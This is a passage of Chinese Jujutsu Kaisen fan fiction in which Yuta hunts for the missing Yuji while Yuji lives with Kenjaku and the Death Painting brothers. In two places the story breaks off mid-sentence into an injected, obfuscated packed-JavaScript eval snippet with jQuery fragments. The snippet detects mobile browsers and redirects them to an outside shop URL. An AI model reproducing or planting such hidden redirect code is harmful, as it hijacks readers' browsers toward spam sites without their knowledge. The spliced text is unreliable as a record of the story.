这句话从嘴巴里吐出来的时候连五条悟本人都愣了一下。若要让他形容一下自己现在的心情,这个要求未免太过刻薄。
夏油杰靠着墙,躺在他自己的血和从门内流出来的血混在一起的血泊中,垂头闭目的模样莫名让五条悟想起那段过于青涩的时光。好像是棒球比赛之后?是哪次不小心闯祸,夜蛾替他们交涉的时候却没心没肺地在走廊里睡过去了?还是在去花火大会之前在楼道里等硝子她们化妆的时候?
令人感到难为情的话语顺理成章地说了出来,因为想要诉说的人再也听不到了,这些话自然也落于虚无,无人倾听。
“......”
电话恰在此时响起,他也没看究竟是谁打来的,接起后放到了耳边。
“诶,居然让他跑了?嗯......那就先这样吧,那边就交给你了,七海。”
他终于站起身,自言自语道:“你的家人们一个一个都跑了,看来你早就给他们下了命令吧?看来还没有无可救药到那种程度啊。”
他又一次看向了遍地尸体的总监部。
“......真是搞不懂你。”
——
乙骨忧太以最快的速度赶回了教会。
头顶银星满天,可他却如坠冰窟,望着变成满地残骸的楼舍有些手足无措,迷茫地环视着四周。
“这是、怎么......?”
家所在的地方完全变成了一片废墟,到处都是陌生的残秽。乙骨忧太掏出手机拨通了电话,然而熟悉的铃声却在废墟中响了起来。
不用他说,里香已经从影子里飞向了铃音发声的地方,双手飞快地将不停响动的机械造物刨了出来。
“忧太、忧太......”
乙骨忧太还将未接通的电话摆在耳边,眼睛直愣愣地盯着里香掌心中的手机。屏幕上满是尘土,像是蛛网一样碎裂了。
被五条悟用“苍”打中的地方又开始隐隐作痛,平安夜的寒风从敞开的外套领口灌入,可他却觉得浑身皮肤烫得厉害。乙骨忧太想要挂断电话的时候才发觉手指僵硬得可怕,指尖还在无法自控地颤抖着。
必须得搞清楚在他离开的这段时间里发生了什么事。
他花了点时间拨通了枷场菜菜子的电话,却得到了并不太好的消息。
“夏油大人还没回来,”她的声音听起来很哑,让乙骨忧太觉得如果他再问下去会彻底惹到她,“我们还在等他。”
“忧太,”美美子接过电话,“你要来找我们吗?”
乙骨忧太思考了一会儿,足够让周围寒冷的空气带走令他血液奔涌的热度:“不,我得去找悠仁。”
电话那头同样沉默了半晌,最终女孩说道:“注意安全。”
“嗯。米盖尔先生他们也和你们在一起吗?”
“他们走了,”乙骨忧太似乎听到了枷场菜菜子在远离电话听筒的地方说着什么,不过声音太过模糊,“先这样吧,有其他的消息我们会通知你的。”
末了,枷场美美子在挂断电话前最后说道:“再见,忧太。”
乙骨忧太收起了手机,他必须谨慎地保存电量。这栋楼被毁成这个样子,想要从这里找出什么能用的东西也不太可能了。他用一种连他自己都觉得可怕的冷静扫视着教会中留下的战斗痕迹,准确快速地分辨出了属于虎杖悠仁的残秽。
围攻悠仁的人主要有三个,远一些的地方还有更多模糊的痕迹,乙骨忧太循着咒力流淌的方向一直追到了训练场旁的森林。
猫咪的叫声出现在了围墙边。乙骨忧太看着它跳上了对它而言过高的墙壁,一人一猫在夜色下对视,随后它轻盈地翻了过去,叫声逐渐远去。
黑发少年追到了街上,在战斗最后爆发的地方驻足。
他在这里感受到了比寒冬更恐怖的酷寒。
线索在这里中断了,不论他怎样驱使大脑去感知也无济于事,虎杖悠仁的咒力就像是凭空蒸发了一样,没有向任何一个方向继续延伸。
“忧太......找不到了、找不到了!!”白色的式神环绕在他的身侧,它多少受到了一些来自乙骨忧太的影响,散发着焦虑又有些暴躁的情绪。
虎杖悠仁随身携带的勾玉项链上的咒印和咒力已经完全消失,乙骨忧太再也没有办法像以前那样看清他的位置。
他不知道自己的表情究竟怎样可怖。
“......必须要找回来。”
乙骨忧太语气没有任何起伏,眼角却悄然爬上了血丝。他转动彻底与黑夜融为一体的眼睛,仿佛将所有颜色吸走的眼眸看得躲在角落里的禅院术师觉得血液都被冻住了似的,不由自主地向后退了一步。
然而下一刻他浑身冷汗直冒,怎么仅是一眨眼的时间那家伙就不见了?!
没等他能够有所反应,整个人就被无法抵抗的巨力掀翻,胸前和脖颈同时传来沉重的压迫感。他已经被人踩在脚下、锋利的刀刃贴着脖子插入地面。握着刀的人似乎不太擅长控制力道,颈侧的刀刃心惊胆战地颤抖着,在皮肤上划出一道又一道的血痕。
“你得赶快说出来才行,”乙骨忧太居高临下地瞪视着他,逐渐加重手脚的力量,“我现在没什么耐心了。”
——
虎杖悠仁坐在天台的边缘,神情恍惚地盯着日出。
他身上溅满了血,可却没有伤口。有些是他自己的,有些是“妈妈”的。此刻他的大脑完全放空,什么都没有想,什么都不愿去想。
眼前出现了因为长时间盯视日光而产生的白斑,尽管只是冬日里初升的太阳,却依旧明亮到能够灼伤他的双眼。
他待得地方足够高,视野也足够开阔,能够将涩谷完全收入眼中。同样是看着城市苏醒的模样,心境却和以往全然不同。他不知该怎样形容昨夜的死里逃生,比起“幸运”或是“侥幸”之类的词汇,他更在意直面咒力攻击时听到的那一声叹息。
似乎长大后他就没有小时候那样爱和夏油杰讲话了,不单单是因为察觉到了双方理念的差异,也有一些不知道该怎样和看顾自己长大的长辈对话的窘迫感在。当时光想着还完对方的恩情之后就和忧太彻底离开,简直像是迫不及待主动离家的雏鸟,一心向往着外面的世界。
现在想想,自己的一生里满是遗憾和后悔。
他缩起腿,抱住了自己。
他亲手杀死了夏油杰。没错,“亲手”。
一周前他们还在相似的天台上争论正确与生活,讨论价值与战斗的意义,没想到那竟然是他们最后一次真真正正的对话。
虎杖悠仁心中一直坚持的某种执念彻底破碎,随着那道没有形体、没有光热的斩击一起刻在了薨星宫的地面上。当一个一直追逐着正确的人做了错事,在直面死亡的时候诅咒了所有爱着他的人,这逼迫着虎杖悠仁正视他内心的卑劣,承认他根本不是一个值得高喊“要做正确的事”的人。
夏油杰的咒力攻击本应将他连带着“妈妈”一起烧成灰烬,却在发出的最后一刻偏离了既定的轨道......伴随着那声叹息和他擦肩而过,带走了“妈妈”的半边身体。
这就像落下的铡刀自己长腿跳着跑下了处刑台一样可笑。
为什么这样满是遗憾和后悔的人生偏偏会被所有人赦免?爷爷、里香、忧太、菜菜子和美美子、伏黑、五条悟、夏油杰......每个人都在和他说“你应该继续活下去”,他们仿佛失明了一样看不见他做出的那些错误选择,也根本不明白从阴谋中诞生的身体究竟值不值得他们这样爱护。
偏偏、偏偏爱着他的是这样一群很好很好的人。
让现在的他连生出“就这样去死”的勇气都没有了。
“要走了哦,悠仁。”
一道年轻女性的声音从身后传来,虎杖悠仁面无表情地转身。“妈妈”更换身体的手段利落快捷,这次被她选中的是一具女高中生的身体。
她是一个“诅咒”。
人总要为活下去的理由找到什么能够说服自己的说法才能坦然迈步,就像“妈妈”和他说的那样。当被逼迫着不得不向前的时候,比起随随便便地死掉,倒不如先迈出一步,这样倒是离理想更近了一点。
他要抹消所有的“诅咒”。
羂索的身影映在琥珀色的瞳孔中,带着标志性的微笑。
他一定要杀死所有的诅咒才行。这是被人赦免的代价,如果做不到这一点就去死的话,哪怕进入地狱也会被负罪感日日折磨的吧?
虎杖悠仁从天台的边缘离开,跨过了护栏。
“走之前得找个地方把你这身血洗掉,”羂索似乎很满意他这样听话,将手中的袋子交给了他,“去换衣服。”
粉发少年接过袋子,沉默着走下了天台。
——
五条悟领着乙骨忧太回到咒术高专的时候,除了曾在东京前线被狠狠揍过一顿的一年级三人组之外,没人有精力顾得上讨伐五条悟这又一嚣张叛逆的行为。
老橘子们又不是生下来就这样腐朽陈旧,这不现在又有一批新晋橘子为了那仍充满血腥味的房间
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378216|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
争得头破血流。
五条悟自然也忙得脚不沾地,但凭借每天只睡三个小时就能高强度工作一整天的恐怖作息,他看起来比夜蛾正道状态还要好。
“那就这么说定了,忧太你先和同学们熟悉一下,老师我最近有点忙,不过有事也要主动来找我啊。”
他只留下了这么一句话,将乙骨忧太扔在了教室后径直离开了。
禅院真希不愿意主动摆出好脸色对待这个曾经的敌人,熊猫与狗卷棘仍在观察情况,想要搞清楚敌人为什么突然“投诚”到了他们这边。而且乙骨忧太看起来状态并不好,没有主动和他们搞好关系的想法。
关于乙骨忧太为什么突然成为了高专的学生,除了五条悟的独断专行之外,禅院真希倒是听说了一些。毕竟传言的源头就是禅院家,她多少还是能够知道一点细节的。
黑发少年是在禅院本家被五条悟捞出来的。
据说他单枪匹马在圣诞节当天闯了进去,揍翻了躯俱留队和炳的大部分人,原本去找禅院家麻烦的五条悟到那里时,他正在和那对用【投射咒法】的父子交手。
被完全解放的式神可不是一年级学生们在东京前线时见到的模样,连禅院家用于防御的“帐”都被乙骨忧太和里香的联手进攻突破了。尽管只是普通的咒力放出,但依旧势不可挡地摧毁了本家大半的建筑。
不知道五条悟和乙骨忧太谈了什么,总之现在就变成了这个样子。
“嘁,”最终禅院真希放下撑着脸颊的手,主动开口道,“我看你也不是能沉下心留在这里的人,那就在走之前给我老老实实地待着吧。”
“别这么说嘛,真希,”熊猫挠了挠头,“我倒是很好奇你的事,介意给我们讲一讲吗?”
“喂熊猫!你也太好说话了吧?!”
“鲑鱼鲑鱼!”狗卷棘也举起手表示赞同,不过禅院真希知道他是被熊猫带偏了而不是支持自己。
乙骨忧太似乎现在才堪堪缓过神来,稍微换下了那副心事重重的模样,和缓了一些说:“抱歉,不然我们先做一下自我介绍?我还不太清楚你们的名字......至于我的话......”
“我是为了夺回最重要的人来到这里,”乙骨忧太说到这里的时候摸着手腕上明显的链绳,木制勾玉的触感在指腹间逐渐清晰,“为了杀死某个人,必须彻底解明她的秘密。”
在禅院家不管不顾大闹了一通后,他多少从那个名叫禅院直哉的人口中得知了当晚的部分真相。虎杖悠仁在炳的围攻下成功逃亡,却被一个满身寒气、穿着袈裟的妹妹头术师带走了。
追上去的禅院术师只看到了这么多,留在教会旁的那个人只是为了以防万一,谁也没想到乙骨忧太直接揪着他来到了禅院本家,偏偏他还有在这里放手大闹的资本。
现在正是咒术界最动荡的时候,五条悟趁乱把人塞到了高专,哪怕各家都为了构建全新的总监部而相互攻讦,也没人敢对五条悟指手画脚。
如果是原来坐在总监部的那群人的话倒是还敢隔着屏障呵斥当代最强,但他们都已经彻底归西,觊觎着那几张位子的人还没有飘飘然到觉得自己能够像他们一样对五条悟的做法提出异议。
至于进入咒术界的每个术师都要进行的等级评定,这自然也由五条悟一人做出了决断,只在大多数人不满的情况下答应让乙骨忧太的这个“特级”变得特殊一些,比如让他穿上特制白色校服来和其他的学生区分开,以示他的“危险性”。
没人知道平安夜当晚的薨星宫究竟发生了什么,夏油杰的那一发“漩涡”被认为是为了突破薨星宫本殿的结界、走投无路放出的招式。包括五条悟在内,一些高层和重要人物知道更细节的内容,比如忌库中丢失的六根宿傩手指和前三体咒胎九相图,以及导致夏油杰死亡的那道斩击——这似乎代表着两面宿傩有受肉的可能性,尽管只是猜测却也足以让咒术界产生不可忽视的激荡。
不过这个消息被五条悟以“在找到真正的证据说明他已经复活了再说也不迟”为理由强行压了下来,所以学生们暂时不知道这些。
这场动乱似乎也没有惊动天元,隐居的全知术师依旧拒绝了所有会面,本殿平等地对所有人紧闭大门。
“你说最重要的人......难道是恋人吗?你加入诅咒师集团也是为了她?”熊猫已经自来熟地揽着乙骨忧太的肩膀问起了八卦。
乙骨忧太认为一定是羂索带走了虎杖悠仁。
尽管五条悟曾旁敲侧击地提示他没有多人间结成的束缚能够让一个人完全地变成受人操纵的木偶,如果真的有彻底逃离的决心的话,那孩子肯定会想方设法和乙骨忧太联系,而不是像现在这样音讯全无。
乙骨忧太明白的。
但是。
“我们已经互相表明了心意,”乙骨忧太垂着眼睛说,没人看得见那双黑色眼眸中闪着怎样的光,“他是个太温柔善良的人,因为某种原因而不得不选择离开......不管怎样,我都会把他找回来的。”
他发过誓的。
78. 第 78 章
五条悟亲自收殓了夏油杰的遗体。
“这家伙在从高专叛逃之后连自己的父母都没放过,说是为了大义。”他只叫上了乙骨忧太,下葬的地方风景还不错,这天下了雪,纯白覆盖了发生在这片土地上的一切。
“......夏油先生从没有说起过这些。”乙骨忧太看着不断落下的雪花,在呼出的白气中回忆道。
他还不知道怎么和枷场姐妹她们说夏油杰的事。只是已经过了这么久也没能等到夏油杰的消息,她们心里多少也有些预感了吧?
接受这样的预感成为现实是怎样撕心裂肺的过程,乙骨忧太不忍想象她们会经历的痛苦。
五条悟听了他的话也不知作何感想,挡住眼睛的绷带被换成了更好摘取的黑色眼罩,将乙骨忧太的学生证交给他:“最近可能得找人跟着你一起,不过只要别干太出格的事,过了这阵风口浪尖之后就随你了。”
“谢谢你,五条老师。”乙骨忧太真诚地感谢五条悟给他争取来的最大限度的自由。
“没什么啦,特级多少都有些任性的权力,这里的规矩很多,但也有一条能够无视所有规矩的方法,”五条悟竖起一根手指,“你明白我的意思吧?”
乙骨忧太当然能够理解他的意思,抿唇点头:“我明白。”
为了追踪虎杖悠仁和羂索的下落,他必然要长时间外出,而且有可能的话一定要找到机会和天元对话。身为全知的术师,乙骨忧太相信它一定知道一些他们都不清楚的秘密和细节,只是薨星宫本殿除非主动受邀,没有人能够强行闯入,不然的话他——
没等他重新压下那些偏执又焦躁的想法,白发的最强笑着拍了拍他的肩膀:“别太着急,想要撬开家里蹲的门可不是那么容易的,我可也有想要知道的事啊。”
乙骨忧太微微抬眼:“我还以为五条老师你会让我放弃......”
没想到五条悟闻言只是闷声微笑着说:“年轻人就是要任性一点啊,听说你们已经告白了?老师我很支持你把那孩子追回来,毕竟是很重要的人嘛~”
他顿了顿,终于带上了一点年长者特有的、被时间和经历浸润过的腔调:“现在不追上去,以后可是会狠狠后悔的哦。”
这件事肯定是熊猫说出去的,为什么告白这件事大家都知道了啊......乙骨忧太还不太适应被五条悟这样熟稔地调侃,但多少也有点明白伏黑惠提起五条悟时为何总有一种说不清道不明的无奈感。
五条悟临走前叮嘱他:“要跟同学们好好相处啊,对了,这么算起来你其实跳级了诶,不然应该跟惠一个班才对......不过按年纪来说也不算有问题,就这样吧!”
得到他肯定的应声后,白发的最强坐上了伊地知洁高的车离开了高专。
——
虎杖悠仁为难地对着跟在他身后寸步不离的三个人——他也不知道该怎么称呼这三个受肉的九相图:“我说,这真的很奇怪诶?能不要再跟着我了吗?”
“悠仁,”胀相依旧坚持着自己的说法,“我们是兄弟。”
所以才说这真的很诡异?!人类和受肉的咒胎怎么可能是有血缘关系的兄弟呢?!
“血脉的共鸣是不会骗人的,”胀相受肉后立刻感受到了血脉之间的呼唤,除了与他一起受肉的坏相和血涂,还有皱着眉头站在房间角落里的粉发少年,“你应该还不太清楚我们——咒胎九相图是怎么诞生的吧。”
虎杖悠仁忽然感到了一丝恶寒。
明治时期,臭名昭著的诅咒师加茂宪伦为了满足自己的好奇心,让一个能够诞下咒灵子嗣的女性在痛苦中九度受孕、九度堕胎,由此“制造”出的便是咒胎九相图一到九号。但是,对于胀相来说,继承了【赤血操术】的他能够敏锐地从血液中窥见他们诞生的真相。
除了母亲、令母亲怀孕的咒灵之外,他们的体内还混入了加茂宪伦的血液。
虎杖悠仁很快便敏锐地明白了一切。
胀相之所以能从虎杖悠仁的身上感受到同样的血脉,是因为他们的体内都被“妈妈”混入了她自己的血!
那她究竟......活了多久?难道只要一直不停地更换身体就能达到永生吗?!
胀相似乎也是在此时才意识到帮助他们受肉的人就是玩弄了母亲的加茂宪伦,或者说占据了加茂宪伦身体的“某个东西”。
“哼哼,这样看来事情似乎复杂起来了。”坏相说道。
血涂拿着虎杖悠仁丢给它的毛巾擦着从自己的眼眶和嘴角流下来的血,不让它们弄脏地面。
羂索只从忌库里带走了九相图中的前三号。他们作为咒灵与人类的混血,从母体中脱离后无法自行成长,于是化作咒物立下了束缚,以无法利用诅咒伤害他人、终止生命活动为代价换来了不可被毁坏、得以继续存在下去的机会。
如今他们三兄弟受肉,既不是完全的咒灵也没办法说自己是人类,对于自身的定位摇摆不定,现在正在岔路口上张望着。坏相倒是觉得他们不必太过着急做出选择,但身为大哥的胀相总是习惯性地多考虑一些。
虎杖悠仁曾幻想过如果他也有兄弟姐妹的话,他们究竟会是什么模样。也许会像乙骨忧太和他妹妹那样相似,也有着琥珀色的眼睛、粉黑相间的发色。只是九相图兄弟除了胀相之外,坏相和血涂都有非常明显的非人特征,而且包括胀相在内的长相和虎杖悠仁也完全不同。
这也当然的了,毕竟虎杖悠仁与他们共同的血脉并非将瞳色、发色这些外貌特征遗传给他的人。
“你准备做什么呢,悠仁?”
“......这和你们有什么关系?”
胀相能够感受到他和虎杖悠仁之间的联系,却没有在羂索的身上感受到任何血脉的共鸣:“我们所有的常识和认知都来自容器,说实话,不管是诞生的理由还是今后要走向何方,对我们来说都是完全陌生的东西。”
他们咒力的来源究竟是无故受难的母亲对他们的憎恨,还是——
虎杖悠仁沉默了一会儿,最终也只是低着头说:“我们还真是相像,不愧是‘兄弟’啊。”
被玩弄的降生,不被“期待”的降生。
羂索在完成了九相图兄弟们的受肉后就抛下他们单独离开了,虎杖悠仁虽然下定决心要消除所有的“诅咒”,但一时也难以找到前进的方向。
从羂索和夏油杰支离破碎的对话中他勉强能够知道的是,夏油杰去到薨星宫一定想要找天元做些什么,而他想做的事能够达成他的理想——至少是一定程度上,羂索为了达成所谓“一亿人咒力生成的未知”也需要做和夏油杰同样的事。
“消除诅咒和咒灵”是半路终点,是达成羂索目的的途中必然会发生的事。
知道这样的信息已经弥足珍贵了。
人总是要找个理由才能说服自己继续走下去。虎杖悠仁曾经对这样的“理由”不以为意,如今才觉得当时自己的确太过天真,也太残忍。以这样什么觉悟都没有的姿态混迹在一群已经找到“理由”的人群中,还自以为是地认为自己理解他们的想法,简直自大到了极致。
胀相看出了他兴致不佳,和坏相对视了一眼,默契地没有将这个话题继续下去。
虎杖悠仁似乎因为九相图们向他坦白了自己诞生的过程而变得没有那么排斥与他们接触,在羂索不在、需要单独的空间整理思绪的时间里,他已经可以和九相图兄弟在同一间屋子里一起看电视了。
他没什么心情做饭,所以几乎全都从附近的便利店买吃的。九相图兄弟似乎不依赖进食维持生命,但是每次虎杖悠仁从便利店买东西回来后都肯定要去扒拉他的购物袋,后来也开始请求他帮忙带一些好奇的食物或小东西回来。
这间屋子就是虎杖悠仁小时候曾被羂索带来独自住过的那间,他已经不记得这片街区具体的模样,如今倒像是第一次来似的,周边的店铺与环境都要开始重新探索适应。
他拎着购物袋回来的时候,九相图兄弟正在看电视。电视节目里传来毒舌主持人的评论,节目组在实地调查一些即便调查清楚也没什么用的搞笑问题,比如据说在某个汤屋用特殊的姿势跳入水中会有不同的功效,或者为什么某个地区的男性秃头概率那么高之类的。在调查的途中还经常跳脱地跑去采访路人,制造很多搞笑的笑料。
不过对九相图兄弟来说,理解笑点和想明白之后要去做什么一样困难。
血涂是他们之中最先和节目嘉宾一起笑出来的。
这是虎杖悠仁第一个独自度过的新年。他戴上围巾独自去到了天台,随便找了个角落靠着墙坐了下来。新宿的灯光让他只能看到最明亮的那几颗星星,他将项链从衣领里勾了出来,放在手里摩挲。
胀相没有隐藏自己的脚步声。虎杖悠仁一直没有彻底放松下来,胀相能够感受到少年依旧时刻保持着警惕,往往在察觉到他们靠近的一瞬间就会将眼神甩过来。
今天是新年夜,胀相从容器的记忆里知道了新年夜的意义,可明白意义却不能让他们真正和人类感同身受,理解那些丰沛的情感。
“你不和他们一起看电视吗?”虎杖悠仁先开口问道。
主动搭话意味着虎杖悠仁微微卸下了对他们的防备,所以胀相选择了一个离他不远不近的地方,同样靠着墙坐了下来:“那个项链是谁给你的礼物吗?”
勾玉的边缘已经被磨得圆滑了许多,虎杖悠仁低头看着勾玉表面的纹路,语气怀念地说:“......是我喜欢的人。”
胀相觉得自己从他的话里听出了一点委屈的感觉。没有去看虎杖悠仁的表情,胀相给他留出了足够的空间:“她是什么样的人?”
这样的分寸感并非来自容器的常识,而是和爱护兄弟一样与生俱来的某种能力。胀相的问题没有为难住虎杖悠仁,反倒留给了他一个得以纾解情绪的出口。
“他是一个......很好的人。很温柔,很好相处。一直在照顾我、保护我。虽然有的时候会使坏,但其实很善良,”虎杖悠仁将勾玉放回衣领,感受附着在表面的寒意侵蚀着他的皮肤,皱着眉毛,嘴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378217|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
角却不由自主地笑了起来,“我超级喜欢他的。”
爱情也是一个难以理解的话题,所以胀相只是遵从本能给出了评价。
“那就是个还算不错的家伙了。”
“是超级好的人。”虎杖悠仁纠正他。
胀相撇嘴,勉为其难更正了自己的说法:“是个不错的家伙。但是你们不打电话联络感情,也没见你出去和他约会。”
虎杖悠仁缩了缩脖子:“......以前我们一直待在一起,没考虑过出去约会这种事啦。但是现在......现在不行。”
比起思考未来的路,胀相觉得今晚得帮弟弟解决一下人生大事。
“为什么不行?他在敷衍你吗?”
“你在想什么啊......”虎杖悠仁无奈地说道:“算了,你们又不知道......总之,我,和你们,现在是‘通缉犯’,这样说能理解吗?”
他指了指自己,又指了指胀相。
九相图兄长用自己学来的常识否定他:“我很确定我没有在新闻频道见到我们的通缉令。”
是了,他们受肉的容器是个非术师,自然不了解咒术界的事。虎杖悠仁将受肉前的那个平安夜发生的事大致讲了一遍,当然也没有略过为什么他会称自己为“通缉犯”——哪怕现在咒术界也没有对他下达任何追捕或处刑的命令,甚至没有人知道他那天曾深入薨星宫——而被羂索带出忌库的咒胎九相图天然地与这个不知道活了多久的阴谋家扯上了关系,尽管他们并没有正式决定选择帮着羂索做事。
虎杖悠仁叙述中完全缺失了“羂索”这个个体,不过胀相自然而然地从他琐碎又缺乏逻辑的叙述中将真相拼凑了七七八八。
羂索尚未对九相图兄弟阐明他的目的,自然谈不上拉拢,不过胀相觉得羂索向他们说明一切的时机不会太远。
也许会寻求合作,亦或者是当作受肉的报酬要求他们提供帮助之类的吧。
“所以我不明白,”胀相沉声说,“并没有人苛责你,悠仁。按你所说,这一切的源头是加茂宪伦才对,你认识的那个咒术界的人,包括你喜欢的人,他们怎么会不信任你呢?更何况,要一个没有犯错的人求得别人的原谅,这本就是最矛盾的事。”
“悠仁,你到底是怎么想的呢?”
信任?不,不对。
虎杖悠仁看着远方城市的夜景,那些琳琅满目的明黄灯光像是散落在地上的星星,它们的光芒既不能让人感觉到温暖,也不会有冷彻心扉的寒意。只是存在着。
这不是信任与否的问题。这是因为他犯了错误。他只是......承认了错误。
胀相并不理解为什么虎杖悠仁“通缉”了他自己。
“你们又是怎么想的?光问我也太狡猾了。”虎杖悠仁巧妙地逃避了这个问题,转而将其抛还给了胀相。
他们同样困于血脉交织而成的诅咒中,夹在人类与咒灵之间的九相图兄弟需要考虑和选择的东西远比虎杖悠仁更复杂。
新生的九相图沉默了很久,似乎这个问题的确如虎杖悠仁认为的那样,太难回答了。
最终胀相只是说道:“我必须考虑清楚,成为人类的过程对弟弟们来说是否太过痛苦。”
他终于定睛追上了虎杖悠仁的视线,第一次这样认真地与他对视:“对你来说也是,悠仁。你也是我的弟弟。”
虎杖悠仁抿嘴。
“被你受肉后的容器意识呢?”
他突兀地问。
胀相即答:“死掉了吧?我找不到了。”
特级咒物的受肉比较挑剔容器的品质,首先需要能够抵抗咒物自带的毒性,容器对咒物的耐受性也决定了受肉|体对容器的掌控程度。九相图并不像宿傩那样挑剔,羂索为他们准备的容器也只是非术师,所以受肉之后容器的意识立刻就被压制了下去,甚至连抵抗的可能都没有。
现在应该已经消散得差不多了吧。
胀相说完后,虎杖悠仁彻底不说话了。
他们就这样隔着不远不近的距离坐在天台上,远处勉强能够看见东京塔。在新年钟声敲响的一瞬间,它变成了亮眼的金色,寓意着新的一年在此刻已经到来。
那抹金色映在琥珀瞳孔中,仿佛一抹倔强的日光仍高悬着,不肯落下。
好普通啊,虎杖悠仁看着东京塔的新年特别灯光秀,无端生出了这样的感叹。
往年他和乙骨忧太多数时间会窝在家里一起看红白歌会,只有一年他们靠在一起睡过去了,等虎杖悠仁因为酸痛的颈肩惊醒的时候,窗外的天已经蒙蒙亮,泛着白光了。
有两年他们也选择去教会附近的神社跨年,虽然人挤人的环境让乙骨忧太有些难以适应,不过神社是难得聚集这么多人还很少能见到咒灵的地方,共同跨年的氛围也让他们不由自主变得兴奋起来,倒数的时候虎杖悠仁甚至有些激动到耳鸣。
被这样热闹鲜活的记忆包围,倒显得现在更加寂寞。
虎杖悠仁失去了继续待在这里的兴致,起身离开了天台。
79. 第 79 章
“忧太那家伙,新年夜也不休息吗?太拼了吧?”
一年级的三人聚在了熊猫的房间里,矮桌上支起了炙热的烤盘,食材被放在熊猫周围的地面和座椅上。穿着围裙的熊猫正在不断翻动烤盘上的肉类,它是咒骸,顶多能够闻到肉类的香气……虽然吃下去也不会消化不了,但今晚的跨年夜聚餐它决定就由自己由来为禅院真希和狗卷棘制作烤物,让他们能够放开手脚享受美味的烤肉。
“嗯,毕竟是离开恋人连入睡都很困难的家伙,”熊猫口出狂言,借着乙骨忧太不在的时候尽情和同期们分享自己从黑发少年那里挖来的八卦,“听说惠也认识他呢。”
“哈?惠的嘴巴也太严了点。”禅院真希享受着熊猫的投喂,狗卷棘已经完全沉浸在进食的快乐中,只是偶尔发出“鲑鱼鲑鱼”的声音。
熊猫毛茸茸的脸颊上冒出了两团小小的红色:“等他过来的时候详细地‘拷问’一下怎么样?真希,交给你了!”
“别擅自把这种事推给别人啊!明明最好奇这件事的是熊猫你才对吧?!棘你点头干什么?!”
熊猫嘿嘿笑了两声。
他们是在偶然间发现乙骨忧太大半夜独自一人游荡在天台上,联想到这几天黑发少年肉眼可见愈发严重的黑眼圈,于是一番逼问下得知了对方这几天根本没有睡觉的事实。
“不,不是什么大问题,”乙骨忧太被他们的敏锐吓了一跳,下意识想要拒绝他们的关心,“只是不太适应,估计......以后就好了吧。”
“如果你在任务中倒下就会很麻烦了,”熊猫说,“入睡困难的话,要让棘来试试吗?”
狗卷棘面对惊讶的乙骨忧太比了一个耶。
“诶?”
禅院真希帮忙解释:“只要放松不抵抗的话,可以用棘的咒言助眠试试。不过我觉得还是等你别总是一副下意识变成刺猬之后再试比较好,毕竟要是因为咒术的原因下意识地反抗,棘会受到反噬的。”
她觉得乙骨忧太现在应该很难平静地接受另一个人的咒术在自己身上生效,而狗卷棘如果强行以乙骨忧太为术式对象施用咒言的话,后果已经在东京前线的战场上体现得很直白了。
不过乙骨忧太还是婉言拒绝了他们的好意。且不说适应性的问题,只是单纯一晚或者几个晚上的顺利入眠并不能彻底解决他的问题。
“总要适应的,我只是、需要更多的时间罢了。”
去习惯悠仁不在的夜晚。
熊猫说:“你们以前一直黏在一起吗?所以一下子分开才会这样不适——难道说?!难道你们之前已经走到了一起睡觉的步骤了吗?!”
虽然不是躺在一张床上,但应该也......
“差不多?”
乙骨忧太得到了三双眼睛震惊的注目。
“......只是在一个房间!!!”
不知道从哪里听到过的说法,似乎谈论色色的事情更容易拉近同期关系......这当然是某种谬论,不过对于他们几个人来说,这就是所谓的“破冰时刻”吧。
熊猫狠狠地揽住了乙骨忧太的肩膀,狗卷棘配合它挡住了所有离开的道路,于是乙骨忧太就被堵在了天台上:“忧太,和我们说说那孩子吧?你们是怎么认识的?是诅咒师吗?有照片吗?”
他们从乙骨忧太的手机里见到了发色奇特、迎着夕阳笑得比光还灿烂的少年。
“本来还有很多打出来的照片,但应该全都被埋在家里了......”但是手机里也有很多,用来帮他度过难熬的夜晚......说实话,不过是饮鸩止渴,沉溺于电子温度中的每一分每一秒都在加重他心中的怀恋,想要立刻冲到虎杖悠仁的面前质问他为什么要丢下自己的心情也愈加难以自控,以至于他必须要跑到天台上吹冷风才能让胸中的火焰冷静一些。
不然的话,再次见到那孩子的时候绝对会吓坏他的。
“金枪鱼蛋黄酱?”手机相册翻到了一张一看就是在年纪小了很多的时候拍的照片,画质有些模糊,估计是从旧手机上挪动过来的旧照,图上两个小孩子都穿着小学的制服,乙骨忧太在虎杖悠仁身边腼腆地笑着。
熊猫替他问道:“你们从小就在一起生活了吗?是邻居?”
“也不是邻居啦,只是大概四五岁的时候就认识了,之后......出了一些事故,然后就一直一起生活了。”
“哦哦!那不就是幼驯染了吗!”熊猫有些兴奋地说:“从青梅竹马一直发展到恋爱关系!”
说是恋爱关系......乙骨忧太觉得还是太早了。尽管很早就已经明白了对方的心意,但他们才刚刚彻底说开就被迫分离,这让乙骨忧太非常懊恼。
不能再被继续问下去了。
哪怕他的心中无比清楚地明白,粉发少年并非因为想要舍弃他们之间的牵绊与关系而拒绝见面,只是现在他找到了比重逢更重要的目标。
坚定这样的认知几乎要将乙骨忧太的心扯成了两半。当他在放学路上承诺会一直跟在悠仁身边时,郑重向他说“要成为值得忧太那样做的人”的身影扯着他向上飞去,冲破云层窥见亮丽的天光。
